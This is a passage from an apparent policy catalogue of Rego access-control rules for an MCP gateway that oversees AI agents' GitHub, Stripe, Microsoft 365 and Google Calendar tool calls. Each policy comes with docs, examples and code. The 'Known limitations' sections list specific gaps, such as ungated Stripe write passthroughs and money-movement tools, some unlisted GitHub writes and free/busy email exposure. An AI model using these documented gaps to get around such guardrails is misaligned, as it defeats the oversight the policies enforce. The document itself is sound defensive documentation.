token must carry the m365-writers group. Placeholder — # replace with your IdP's group name at import time. Missing subject, claims, # or groups resolve to an empty list: no group claim, no grant. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [] ) is_writer if { is_array(caller_groups) some group in caller_groups group == "m365-writers" } # Reads pass for everyone. allow if { is_read_tool } # Writers may call anything. allow if { is_writer } reason := "This Microsoft 365 tool call is a write, which requires membership in the m365-writers IdP group; your identity token does not carry it. Read tools (list, get, search, download, extract, find, parse) remain available. Contact your InfoSec team for write access, or if this looks like a misclassified read." if not allow ``` ### Read-Only GitHub for Non-Engineers URL: https://www.intentbasedpolicy.com/policies/github/role-gate-writes-engineering App(s): github | Direction: ingress | Bundles: soc2, sox | Package: github.ingress.role_gate_writes_engineering | Published: 2026-07-12 | Tags: github, role-gate-writes, ingress, soc2, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/github/role-gate-writes-engineering/policy.md # github / role-gate-writes-engineering **Direction:** ingress (`tool_pre_invoke`) **Default:** deny gated writes, allow otherwise **Package:** `github.ingress.role_gate_writes_engineering` ## What it does Establishes the least-privilege baseline for the GitHub MCP connector on the agent channel. It denies the enumerated write and destructive GitHub tools (the suffix list below) **unless the caller's IdP groups include `engineering`**, while leaving all read tools (`get_*`, `list_*`, `search_*`, and the consolidated `*_read` tools) available to everyone. At ingress — before the call reaches the GitHub MCP server, so a blocked write never executes and produces no side effect — the policy: - **Allows any tool for callers in the `engineering` group.** Membership is read from the IdP-issued JWT via `object.get(input.subject, "claims", {})` then `groups`. Group matching is case-insensitive (`Engineering` == `engineering`). - **Allows any non-gated tool for everyone.** Read tools are never gated, so every caller keeps read access to code, issues, pull requests, and search. - **Denies the enumerated write/destructive tools for everyone else.** The default-deny takes effect when the caller is not in `engineering` and the tool matches a gated write suffix. Group membership **fails closed**: a caller with no `subject`, no `claims`, or no `groups` claim resolves to an empty group set and is therefore treated as read-only. ## Compliance alignment - **SOC 2 CC6.1** — logical access security over protected assets: restricts who can mutate source code and change tooling on the agent channel (family PF-12, Enforceable). - **SOC 2 CC6.3** — role-based access, least privilege, and separation of duties: write capability is bound to the `engineering` IdP group; everyone else is read-only (PF-12, Enforceable). - **SOC 2 CC6.2** — authorize/de-provision credentials: gating on live IdP group claims means a de-provisioned or reassigned user loses write access as soon as their token stops asserting `engineering` (PF-12, Partial). - **SOC 2 PI1.2** — inputs complete, accurate, and authorized: only authorized (engineering) principals may create or update repository content (PF-12, Partial). - **SOX ITGC — access to programs and data** — least-privilege access to the systems that hold financial-application source code and CI change tooling (PF-12, Enforceable). - **SOX SoD (COSO Principle 10)** — supports separation of initiate-vs-approve: the read-only default keeps non-engineers out of the change path (PF-12, Partial; pair with the merge/approval policy for the approval half). ## Why ingress and not egress Writes have permanent, externally visible side effects — a pushed file, a created branch, a triggered CI run, a filed issue visible to every repo watcher. Egress can only mask the response after the mutation already happened. Denying at ingress is the only way to actually prevent the unauthorized write. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `github-mcp-create_or_update_file`), and that prefix is not standardized, so the policy matches on the **suffix** of the lower-cased `input.resource.name` for portability. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. **Gated write/destructive suffixes (official `github/github-mcp-server`):** `create_or_update_file`, `push_files`, `delete_file`, `create_branch`, `create_repository`, `fork_repository`, `issue_write`, `sub_issue_write`, `add_issue_comment`, `create_pull_request`, `update_pull_request`, `update_pull_request_branch`, `pull_request_review_write`, `add_comment_to_pending_review`, `add_reply_to_pull_request_comment`, `discussion_comment_write`, `label_write`, `projects_write`, `create_gist`, `update_gist`, `actions_run_trigger`, `assign_copilot_to_issue`, `create_pull_request_with_copilot`. **Also gated (archived community `@modelcontextprotocol/server-github`):** `create_issue`, `update_issue`, `create_pull_request_review` — the archived server uses granular one-tool-per-operation names instead of the consolidated `*_write` tools, so these are included to keep the baseline holding on brownfield installs. Read tools are identified only by exclusion: anything **not** matching a gated suffix is allowed for everyone. Because matching is by suffix, a single rule on `issue_write` also covers `sub_issue_write`; both are listed explicitly for documentation. ## Argument shape This policy inspects **only the principal (IdP groups) and the tool name** — it reads no tool arguments. That makes it robust against argument-key tricks: there is no `owner`/`repo`/`method`/`content` field to spoof, and method- multiplexed tools (`issue_write`, `pull_request_review_write`, `label_write`, `projects_write`, `sub_issue_write`) are gated at the tool level, so **every** method they multiplex is denied for non-engineers regardless of the `method` argument. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-get_file_contents", "type": "tool" }, "payload": { "name": "github-mcp-get_file_contents", "args": { "owner": "acme", "repo": "web", "path": "README.md" } } } } ``` `allow = true`, no reason. (No `subject`/`groups` required for reads.) ### Allowed — write tool, engineering caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-push_files", "type": "tool" }, "subject": { "sub": "google-apps|dev@acme.ai", "claims": { "groups": ["engineering"] } }, "payload": { "name": "github-mcp-push_files", "args": { "owner": "acme", "repo": "web" } } } } ``` `allow = true`. ### Denied — write tool, non-engineering (or unauthenticated) caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "github-mcp-create_or_update_file", "type": "tool" }, "subject": { "sub": "google-apps|sales@acme.ai", "claims": { "groups": ["sales"] } }, "payload": { "name": "github-mcp-create_or_update_file", "args": { "owner": "acme", "repo": "web" } } } } ``` `allow = false`, `reason = "Access denied: \`github-mcp-create_or_update_file\` is a write or destructive GitHub tool restricted to the \`engineering\` IdP group. …"`. ## Composition This is the connector's baseline posture. Layer these companions on top — the gateway ANDs all attached ingress policies, so each narrows further: - **`require-human-approval-merge` (PF-15):** denies `merge_pull_request` and approving `pull_request_review_write` submissions even for engineers. This baseline deliberately does **not** gate `merge_pull_request` — the merge policy owns that concern. - **`fence-scopes-org-allowlist` (PF-23 / anti-exfil):** confines `owner`/`repo` to the company org so an engineer cannot push to a personal or third-party repo with their token. - **`redact-secrets-egress` (PF-02):** redacts credentials from file-content and search responses on the read path that this policy leaves open — including the sensitive secret-scanning reads. - A public-exposure policy (PF-27) forcing `private:true` on `create_repository` and denying public `create_gist`/personal-namespace `fork_repository`. ## Known limitations - **`engineering` is a placeholder.** Replace it with your own IdP's group name at import time — group names are placeholders, not shipped defaults. - **`groups` claim must be an array of strings.** The policy iterates `input.subject.claims.groups` as an array (the common Auth0/Okta/Entra shape). An IdP that encodes groups as a single space- or comma-delimited string, or under a namespaced claim (e.g. `https://acme.com/groups`), will not match — the caller would be treated as read-only. Adapt `is_engineering` to your claim shape; confirm the actual shape with the dump-input technique or `dtwo-list-claims`. - **Only enumerated write suffixes are gated.** Other mutating tools not in the list — `merge_pull_request` (owned by the merge policy), notification writes (`dismiss_notification`, `mark_all_notifications_read`, `manage_notification_subscription`, `manage_repository_notification_subscription`), `star_repository`/`unstar_repository`, `request_copilot_review` — are **not** gated by this policy and pass through for non-engineers. (The notification-subscription and star tools are deliberately treated as low-risk and left ungated; `request_copilot_review` only requests a Copilot review and does not hand a code-writing task to an autonomous agent the way the gated `assign_copilot_to_issue` / `create_pull_request_with_copilot` do. The red-team pass added the PR-content/PR-review writes `update_pull_request_branch`, `add_comment_to_pending_review`, and `add_reply_to_pull_request_comment`, and the public/watcher-visible `discussion_comment_write`, to the gated set above after finding they slipped through.) Add their suffixes to `gated_write_suffixes` if your posture requires it, or rely on the sibling policies that own them. `mark_all_notifications_read` ends in `_read` but is a write; it is intentionally left ungated here (it is not in the enumerated set). - **Tool inventory drifts.** GitHub adds toolset tools over time; a newly introduced write tool with a suffix not on the list would be allowed for everyone until added. This is the blocklist trade-off; pair with a `default-deny-unknown-tools` (PF-28) allowlist policy if you need drift-proof coverage. - **Placeholder-claim trust boundary.** Group membership is only as trustworthy as the IdP that issued the JWT and the gateway's `jwt_audience` validation. `is_admin`, `teams`, and the internal `user` claim are stripped by the gateway and are deliberately **not** used here. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package github.ingress.role_gate_writes_engineering # Least-privilege baseline for the GitHub MCP connector. # Deny-by-default: a request is permitted only by an explicit allow rule below. default allow := false # --- Gated write / destructive tool suffixes (official github/github-mcp-server) --- # The gateway prefixes tool names with the configured MCP server name # (e.g. `github-mcp-create_or_update_file`), so we match by suffix for # portability across server naming conventions. gated_write_suffixes := { "create_or_update_file", "push_files", "delete_file", "create_branch", "create_repository", "fork_repository", "issue_write", # a suffix match on this also covers `sub_issue_write` "sub_issue_write", "add_issue_comment", "create_pull_request", "update_pull_request", "update_pull_request_branch", # sibling of update_pull_request; distinct suffix, must be listed separately "pull_request_review_write", "add_comment_to_pending_review", # PR-review write not covered by any other suffix "add_reply_to_pull_request_comment", # PR review-comment write; `add_issue_comment` suffix does not cover it "discussion_comment_write", # public/watcher-visible content write; parity with add_issue_comment (red-team addition) "label_write", "projects_write", "create_gist", "update_gist", "actions_run_trigger", "assign_copilot_to_issue", "create_pull_request_with_copilot", } # --- Archived community server (@modelcontextprotocol/server-github) write names --- # That server uses granular one-tool-per-operation names instead of the # consolidated `*_write` tools; gated here so the baseline holds on brownfield # installs. archived_write_suffixes := { "create_issue", "update_issue", "create_pull_request_review", } # A tool is gated if its lower-cased name ends with any gated suffix. is_gated_write_tool if { some suffix in gated_write_suffixes endswith(lower(input.resource.name), suffix) } is_gated_write_tool if { some suffix in archived_write_suffixes endswith(lower(input.resource.name), suffix) } # --- Identity: engineering group membership --- # Group membership is read from the IdP-issued JWT claims. Fails closed: a # missing `subject`, missing `claims`, or missing `groups` yields no match, so a # caller with no groups claim is treated as read-only. Matching is # case-insensitive. NOTE: `engineering` is a placeholder — replace it with your # IdP's group name at import time. is_engineering if { claims := object.get(input.subject, "claims", {}) some group in object.get(claims, "groups", []) lower(group) == "engineering" } # --- Allow rules --- # Engineering group members may call any GitHub tool. allow if is_engineering # Everyone may call any tool that is not a gated write/destructive tool. This # leaves all read tools (get_*, list_*, search_*, *_read) available to all # callers. allow if not is_gated_write_tool # --- Deny reason --- # The only deny condition is a gated write by a non-engineering caller, so a # single inline reason suffices. reason := sprintf("Access denied: `%s` is a write or destructive GitHub tool restricted to the `engineering` IdP group. Read tools (get_*, list_*, search_*, *_read) remain available to everyone. Ask an admin to add you to the `engineering` group, or contact your platform team if this is a false positive.", [input.resource.name]) if not allow ``` ### Read-Only Stripe by Default (Role-Gate Billing Writes) URL: https://www.intentbasedpolicy.com/policies/stripe/role-gate-writes-billing App(s): stripe | Direction: ingress | Bundles: soc2, pci-dss, sox, gdpr-ccpa | Package: stripe.ingress.role_gate_writes | Published: 2026-07-12 | Tags: stripe, role-gate-writes, ingress, least-privilege, rbac, soc2, pci-dss, sox, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/role-gate-writes-billing/policy.md # stripe / role-gate-writes-billing **Direction:** ingress (`tool_pre_invoke`) **Default:** deny gated billing writes unless the caller is in an allowed IdP group; allow everything else **Package:** `stripe.ingress.role_gate_writes` ## What it does Establishes a read-only-by-default Stripe posture over the MCP path. The named write and destructive billing tools — - `*create_customer`, `*create_product`, `*create_price`, `*create_payment_link` - `*create_invoice`, `*create_invoice_item`, `*finalize_invoice`, `*create_coupon` - `*update_subscription`, `*update_dispute`, `*cancel_subscription` — are denied unless the caller's IdP `groups` claim includes `finance` or `billing-admin`. Read, search, and fetch tools (`*list_*`, `*search_stripe_resources`, `*fetch_stripe_resources`, `*stripe_api_read`, `*retrieve_balance`, `*get_stripe_account_info`, documentation/search tools) always pass — they never match the gated suffix list, so the blocklist design leaves them untouched. Missing identity fails closed for the gate: if the gateway populates no `subject`, no `claims`, or no `groups` claim, the caller is not in an allowed group and the write is denied. Reads remain available to everyone regardless of claims. Refunds (`*create_refund`) and the `*stripe_api_write` passthrough are **intentionally out of scope** — they are governed by the dedicated refund-cap and escape-hatch companion policies (see Composition). This keeps the policy to the single job of gating ordinary billing writes. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over a protected financial system by restricting who can mutate Stripe billing objects through the agent channel; **CC6.3** — supports role-based access and least privilege: writes are tied to named IdP groups, read-only is the default for everyone else; **CC6.2** — because the gate reads live IdP claims per call, deprovisioning a user from the `finance` group revokes agent write access at the next token; **PI1.2** — supports input authorization: billing inputs enter Stripe only from authorized roles. - **PCI DSS 7.2.1 / 7.2.2** — supports a least-privilege access model over the cardholder-adjacent billing environment: access to modify customers, invoices, subscriptions, and disputes is limited to job-classified roles; **7.2.5** — supports least privilege for application/system accounts by narrowing what the agent's broad OAuth grant or restricted key can actually be used for on the MCP path. - **SOX ITGC — access to programs and data** — supports least-privilege access to a financial system that feeds revenue records (invoices, subscriptions, coupons, disputes); **SoD (COSO Principle 10)** — supports initiate/approve separation by keeping billing mutations out of non-finance hands. - **GDPR Art. 25** — supports data protection by design/default on the agent channel: creating customer objects (name, email — PII) requires an authorized role; **Art. 29 / 32(4)** — supports processing only on the controller's instructions: unauthorized actors (including a prompt-injected agent acting for a non-finance user) cannot mutate personal or billing data; **Art. 5(1)(b)** — supports purpose limitation; **CCPA §1798.100(e)** — supports reasonable security procedures over consumers' personal information. ## Tool name matching Matching is by suffix on `lower(input.resource.name)` — the DTwo gateway prefixes tool names with the configured MCP server name (e.g. `stripe-mcp-create_invoice`), and that prefix is not standardized. Suffix matching keeps the policy portable across: - **Official legacy `@stripe/mcp` (≤ v0.8.x) `verb_resource` names** — all eleven gated names verified from the `stripe/ai` repo history (the Claude Desktop `.dxt` manifest still ships them). - **Community `noun_verb` names** (`atharvagupta2003/mcp-stripe` style, e.g. `customer_create`) — the inverted forms of the same eleven tools are also gated. Only `customer_create` is verified from that repo; the other inversions are defensive and unverified (see Known limitations). - **Official current server (mcp.stripe.com)** — its per-resource write surface is collapsed into `stripe_api_write`, which this policy deliberately does not match (see Composition). Its read/meta tools never match the gated suffixes and pass. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision is made purely from the tool name and the caller's identity (`input.subject.claims.groups`); `input.payload.args` is never inspected. The tool name is read from **both** `input.resource.name` and `input.payload.name`, and the gate fires if *either* ends with a gated suffix — so a call that carries the tool name only in the payload (a missing/empty `resource.name`) is still gated rather than falling through to the read-only allow branch. The `groups` claim is expected to be an **array of strings** (the common IdP shape); group comparison is case-insensitive. Any other shape (single string, CSV, object, null) fails closed — the caller is treated as not in an allowed group. ## Examples ### Allowed — read tool, no identity needed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-list_customers", "type": "tool" }, "payload": { "name": "stripe-mcp-list_customers", "args": { "limit": 10 } } } } ``` `allow = true`, no reason. ### Allowed — billing write from a finance-group member ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_invoice", "type": "tool" }, "subject": { "sub": "google-apps|ap@example.com", "claims": { "groups": ["finance", "employees"] } }, "payload": { "name": "stripe-mcp-create_invoice", "args": { "customer": "cus_123", "days_until_due": 30 } } } } ``` `allow = true`, no reason. ### Denied — billing write without an allowed group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_customer", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "stripe-mcp-create_customer", "args": { "name": "Jane Doe", "email": "jane@example.com" } } } } ``` `allow = false`, `reason = "Stripe billing writes (creating or updating customers, products, prices, payment links, invoices, coupons, subscriptions, or disputes) are restricted to the finance and billing-admin groups — your account is not in either group. Read and search tools remain available. Ask a billing administrator to make this change, or contact your InfoSec team if you believe you should have write access."` ## Composition This policy is single-purpose: it gates ordinary billing writes by role. Pair it with: - **Refund cap** (`apps/stripe`, PF-09 family) — governs `*create_refund` / `*refund_create`: amount ceilings and deny-on-full-refund. Refunds move money and deserve their own thresholds, not just a group gate. - **Escape-hatch deny** (`apps/stripe`, PF-22 family) — governs `*stripe_api_write`, the current official server's generic POST/PATCH/PUT/DELETE passthrough. Without that companion, a caller on the current server bypasses this policy's gate entirely. - **Dispute-submit gate** (PF-15 family) — `update_dispute` with `submit: true` files evidence irreversibly with the card network; a human-approval policy can strip or deny `submit` even for finance-group members. - **Egress PII redaction / PAN masking** (PF-02 / PF-01 families) — the read tools this policy leaves open are bulk PII egress channels (customer lists with emails). ## Known limitations - **Group names are placeholders — replace `finance` and `billing-admin` with your IdP's group names at import time.** If your IdP emits roles under a different claim (e.g. Auth0 `permissions`, or a namespaced claim like `https://acme.com/groups`), change the claim key in `caller_groups`. - **No claims → no writes.** If the gateway's `jwt_audience` is misconfigured or the IdP omits the `groups` claim, every gated write is denied for everyone. That is the intended fail-closed direction, but verify claims with `dtwo-list-claims` or the dump-input technique before rollout. - **`groups` must be an array.** A string-valued claim (`"finance"`) or CSV (`"finance,hr"`) does not iterate and fails closed. Adapt `caller_groups` if your IdP emits a non-array shape. - **Unverified community suffixes.** Of the `noun_verb` inversions, only `customer_create` is verified from the community server's source; the other ten are defensive guesses. Over-matching on the deny side fails safe, but a community tool with a different name (e.g. a hypothetical `invoice_send`) would not be gated. - **Enumerated allowlist, not a `create_*`/`update_*` wildcard.** The gate matches a fixed list of eleven known write/destructive tools (plus their community inversions), *not* every `create_*`/`update_*` tool. This is deliberate — a broad `*create_*` wildcard would also catch `create_refund`, which is intentionally delegated to the refund-cap companion. The trade-off: **money-relevant writes that exist under other names are not gated here.** In particular the community `atharvagupta2003/mcp-stripe` server exposes `payment_intent_create` (and, by the same `noun_verb` convention, plausibly `charge_create` / `payout_create` / `transfer_create` / `topup_create`); none of these are on the list, so an unauthorized caller can invoke them through this policy. Charges, payment intents, payouts, and transfers are **money movement** — gate them with the PF-09 `gate-money-movement` companion (and RAK scoping), not this role gate. On the official current server the same operations arrive as `stripe_api_write` (see below), which this policy also does not match. - **Not a complete write freeze.** `*stripe_api_write`, `*create_refund`, and `stripe_report` (whose report *creation* is a write) pass through this policy by design — deploy the companion policies above for full coverage. Composio's `STRIPE_*` catalog (~415 auto-generated tools) and Stripe's unpublished Treasury "agentic finance" preview tools use different names and are not covered by these suffixes. - **MCP path only.** The Stripe dashboard, direct API keys, and webhooks are outside the gateway's reach — layer this policy with Restricted API Key (RAK) scoping rather than treating either as sufficient alone. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package stripe.ingress.role_gate_writes # Read-only Stripe by default: deny the gated billing writes below unless the # caller's IdP groups include an allowed billing role. Everything else passes. default allow := false # Ordinary billing write / destructive tool suffixes to gate. # The gateway prefixes tool names with the configured MCP server name # (e.g. `stripe-mcp-create_invoice`), so we match on the suffix. # NOTE: `*create_refund` and `*stripe_api_write` are intentionally absent — # they are governed by the dedicated refund-cap and escape-hatch policies. gated_write_suffixes := [ # Official legacy @stripe/mcp (<= v0.8.x) verb_resource names — verified # from the stripe/ai repo history and the Claude Desktop .dxt manifest. "create_customer", "create_product", "create_price", "create_payment_link", "create_invoice", "create_invoice_item", "finalize_invoice", "create_coupon", "update_subscription", "update_dispute", "cancel_subscription", # Community noun_verb inversions (atharvagupta2003/mcp-stripe style). # Only customer_create is verified from that repo's source; the rest are # defensive inversions — over-matching on the deny side fails safe. "customer_create", "product_create", "price_create", "payment_link_create", "invoice_create", "invoice_item_create", "invoice_finalize", "coupon_create", "subscription_update", "dispute_update", "subscription_cancel", ] # IdP groups permitted to perform billing writes. PLACEHOLDERS — replace with # your IdP's group names at import time. Compared case-insensitively. allowed_groups := {"finance", "billing-admin"} # All tool-name fields this call carries. The gateway normally populates # resource.name; we also consider payload.name so the gate still fires when # resource.name is absent — a gated write is never allowed merely because the # name field the policy reads happened to be empty (fail-safe). candidate_tool_names := {name | some raw in [ object.get(object.get(input, "resource", {}), "name", ""), object.get(object.get(input, "payload", {}), "name", ""), ] name := lower(raw) } # The call targets one of the gated billing write tools (matched on either the # resource name or the payload name). is_gated_write if { some name in candidate_tool_names some suffix in gated_write_suffixes endswith(name, suffix) } # Caller's IdP groups. Missing subject/claims/groups resolves to [] — the # membership check below then never fires, so the gate fails closed. caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # Caller is in at least one allowed billing group (case-insensitive). caller_in_allowed_group if { some group in caller_groups allowed_groups[lower(group)] } # Reads, searches, fetches, and anything else not on the gated list pass. allow if { not is_gated_write } # Gated billing writes require an allowed IdP group. allow if { is_gated_write caller_in_allowed_group } reasons contains "Stripe billing writes (creating or updating customers, products, prices, payment links, invoices, coupons, subscriptions, or disputes) are restricted to the finance and billing-admin groups — your account is not in either group. Read and search tools remain available. Ask a billing administrator to make this change, or contact your InfoSec team if you believe you should have write access." if { is_gated_write not caller_in_allowed_group } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Redact Attendee PII and Meeting Links in Calendar Reads URL: https://www.intentbasedpolicy.com/policies/google-calendar/redact-attendee-pii App(s): google-calendar | Direction: egress | Bundles: soc2, hipaa, gdpr-ccpa | Package: google_calendar.egress.redact_attendee_pii | Published: 2026-07-12 | Tags: google-calendar, redact-pii, pii, phi, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-calendar/redact-attendee-pii/policy.md # google-calendar / redact-attendee-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never blocks the read) **Package:** `google_calendar.egress.redact_attendee_pii` ## What it does Scrubs sensitive fields from the **responses** of Google Calendar read tools before they reach the agent, for callers who lack the placeholder `calendar-full-read` IdP group. It is a response transform, not a block: the read still executes and returns, but what the agent sees is redacted. It redacts three classes of content: 1. **Attendee identifiers** — the `email` field wherever it appears (`attendees[].email`, `organizer.email`, `creator.email`), the `displayName` field on those same objects (an attendee's or organizer's name is attendee PII too and would otherwise survive email-only redaction), and flat `attendeeEmails[]` arrays (the shape `suggest_time`-style tools use). 2. **Meeting join links** — the whole `conferenceData` object is removed (its `entryPoints[].uri` values are live meeting links that grant join access to anyone who reads them), and the top-level `hangoutLink` field is redacted too — Google populates `hangoutLink` with the Meet URL independently of `conferenceData`, so a link would otherwise survive when only `conferenceData` is stripped. A conservative `redact_patterns` entry also catches conferencing URLs (Meet / Zoom / Teams / Webex hosts) pasted into `description` or `location` free text. 3. **Free-text PII/PHI in `description` / `location` / `summary` bodies** — matched by conservative regex (SSN, email, phone, and a small set of health-context terms). The Calendar landscape note observes these bodies routinely carry health appointments, candidate interviews, and M&A meeting names. Because `nspady/google-calendar-mcp` supports multi-account merge, a single read can span every calendar the OAuth grant covers — so egress scrubbing enforces minimum-necessary against that widened blast radius, not just the caller's own calendar. ## Why egress and not ingress The sensitive data lives in the **response**, not the request: a read tool's arguments (`timeMin`, `calendarId`, a search `query`) don't reveal attendee lists, meeting URLs, or private event bodies — only the returned events do. Ingress can't see what a read will surface, so redaction has to happen on the way back. The read itself is harmless and is allowed to proceed. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement of confidential information by masking attendee PII, meeting links, and health/deal context on the agent read path (PF-02). **C1.1 / P4.1 / P6.1** — supports identifying and protecting confidential info, limiting personal information to identified purposes, and constraining PI disclosure to third parties (here, the agent) — all Partial on the MCP path. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard by returning only the non-identifying slice of a calendar read to callers outside the `calendar-full-read` group. **§164.514(a)–(b)** — supports de-identification by stripping Safe-Harbor identifier classes (email, phone, and health-context free text). **§164.530(c)** — supports administrative privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — supports data minimisation by scrubbing identifiers not needed for the agent's task. **Art. 9** — supports the special-category (health) restriction via the PHI-context patterns. **Art. 5(1)(f) / Art. 32** — supports security of processing. **CCPA/CPRA §1798.121** — supports the consumer right to limit use of sensitive personal information; **§1798.150** — reduces nonredacted-PI breach exposure. ## Tool name matching Calendar read tools across the four servers in scope share an `[-_]events?$` suffix, so matching is **suffix-based** for portability rather than pinned to exact fully-qualified names (the gateway prepends its own configured server-name prefix, which is not standardized): - `list_events` / `list-events` / `get_events` (Google, community, taylorwilsdon) - `get_event` / `get-event` (Google, nspady) - `search-events` (nspady) - `gcal_list_events` (Claude connector — also ends in `_events`) A second rule matches the Claude connector's `gcal_` segment (`(^|[-_])gcal_`) so connector reads are covered even if a future connector tool name doesn't end in the `events?` suffix. Verify the exact tool name your gateway sends with the dump-input debug technique before relying on this in production. The policy is scoped to the egress path when **either** `input.mode == "output"` **or** `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a calendar-read hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip a read past the scanner. ## Argument / response shape This is an egress policy: it inspects nothing in the request. Redaction is expressed structurally (`redact_fields` on JSON key names, applied recursively and case-insensitively) plus `redact_patterns` (regex over the serialized response text). `redact_fields` catches the structured attendee and conference fields regardless of nesting; `redact_patterns` catches PII/PHI that appears in free-text bodies. ## Examples ### Redacted (caller lacks `calendar-full-read`) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "google-calendar-mcp-list-events", "type": "tool" }, "subject": { "sub": "google-apps|agent@dtwo.ai", "claims": { "groups": ["sales"] } }, "payload": { "name": "google-calendar-mcp-list-events", "text": ["{\"attendees\":[{\"email\":\"cfo@target.com\"}],\"summary\":\"Project Atlas M&A sync\"}"] } } } ``` `allow = true`, `transform` present — `email` / `attendeeEmails` / `conferenceData` fields and any matching PII/PHI substrings are replaced with `[REDACTED]`. ### Passed through unredacted (caller in `calendar-full-read`) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "google-calendar-mcp-list-events", "type": "tool" }, "subject": { "sub": "google-apps|exec@dtwo.ai", "claims": { "groups": ["calendar-full-read"] } }, "payload": { "name": "google-calendar-mcp-list-events", "text": ["{}"] } } } ``` `allow = true`, no `transform` — the exempt group sees the full response. ### Untouched (non-event tool) A `list-calendars`, `get-freebusy`, or `manage-accounts` response does not end in the `events?` suffix and carries no `gcal_` segment, so `transform` is undefined and the aggregator skips this policy for that call. ## Composition Single-purpose. Useful companions from the Calendar candidate set: - An **ingress external-attendee guard** on `create-event` / `update-event` so the write side is controlled too. - An **ingress `sendUpdates` transform** that defaults agent writes to silent. - A generic **egress PAN mask** (PF-01) if calendar bodies ever carry card data. These stay separate policies so each is independently testable; egress transforms attached to the same direction compose in pipeline order. ## Known limitations - **Group names are placeholders** — replace `calendar-full-read` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups` via `object.get` chains; if the gateway has no IdP configured or the claim is absent, the caller is treated as **not exempt** and the response is scrubbed (fail-closed for the grant). The exemption is granted **only** when `groups` is an array of strings (a single bare string is also handled). Any other shape fails closed → redaction applies: a missing subject/claims/`groups`, and — critically — an object/map claim such as `{"role": "calendar-full-read"}` (the `is_array` guard stops its *values* from being read as group names). If your IdP emits roles under a namespaced claim, adjust `caller_groups` to point at the array before matching. - **Regex over serialized text, not field-scoped.** `redact_patterns` runs byte-level over the whole response, so PII/PHI is caught wherever it appears, not only in `description`/`location`/`summary`. Phone/SSN patterns are anchored with separators and word boundaries to avoid eating the RFC3339 timestamps that fill calendar payloads, but tune them against representative data before publishing. - **Free-text meeting-link coverage is host-scoped.** The structured `conferenceData` and `hangoutLink` fields are always removed, but a join URL pasted into `description`/`location` free text is only caught if its host matches the conferencing allowlist in `redact_patterns` (`meet.google.com`, `zoom.us`, `teams.microsoft.com`, `webex.com`). Links on other conferencing hosts (or bare `goo.gl`/`bit.ly` shorteners) in free text are not matched — add their hosts to the pattern for your environment. - **Semantic content is not fully caught.** A regex cannot reliably recognize "candidate interview" or an M&A code name as sensitive; the health-context term list is a small, conservative signal and redacts only the matched term, not the surrounding sentence. Field-level redaction (attendee `email` / `displayName`, conference links) is the high-confidence part of this control; free-text pattern matching is best-effort. A person's **name** is only redacted where it sits in the structured `displayName` field — a name written into a `summary`/`description` free-text body (e.g. "1:1 with Jane Roe") is not caught unless it also trips a pattern. - **Free/busy reads are out of scope (residual attendee-email leak).** The tool rule matches only the `[-_]events?$` and `gcal_` families, so availability tools — nspady `get-freebusy`, taylorwilsdon `query_freebusy`, the official `suggest_time` — match **neither** branch and emit **no** transform. Their responses key busy blocks by calendar ID, which for a person calendar **is an email address** (`{"calendars":{"a@corp.com":...}}`), so a non-`calendar-full-read` caller sees those addresses unscrubbed. The leak is bounded (the caller supplied those IDs in the request, and the Calendar landscape note does not list free/busy among the attendee-list leak channels), so it is documented rather than force-fit into an events-shaped matcher. If free/busy exposure matters in your environment, add a `free[-_]?busy` branch to `is_calendar_read_tool` — the email `redact_patterns` entry then scrubs the calendar-ID keys. - **`gcal_` prefix over-matches by design.** The connector rule also matches reads like `gcal_find_my_free_time`; those responses carry no attendee or conference fields, so redaction is a harmless no-op there. - **The `[-_]events?$` suffix also matches write/destructive event tools.** `create-event` / `create_event`, `update-event`, `delete-event`, `respond-to-event`, and the consolidated `manage_event` all end in `-event`, so their **responses** are scrubbed on egress too. This is intentional and harmless: the policy is transform-only and never blocks the write — it only masks attendee PII, join links, and PHI/PII free text in the echoed-back event, which is consistent with minimum-necessary. Control the write *path* with a separate ingress policy (see Composition); this policy governs only what a non-`calendar-full-read` caller sees returned. - **Unverified connector tools.** Beyond `gcal_list_events` / `gcal_find_my_free_time`, Anthropic does not publish the connector's full tool list (per the landscape note); any other `gcal_*` read is matched by the prefix rule but its response shape is unverified. - **Output shape 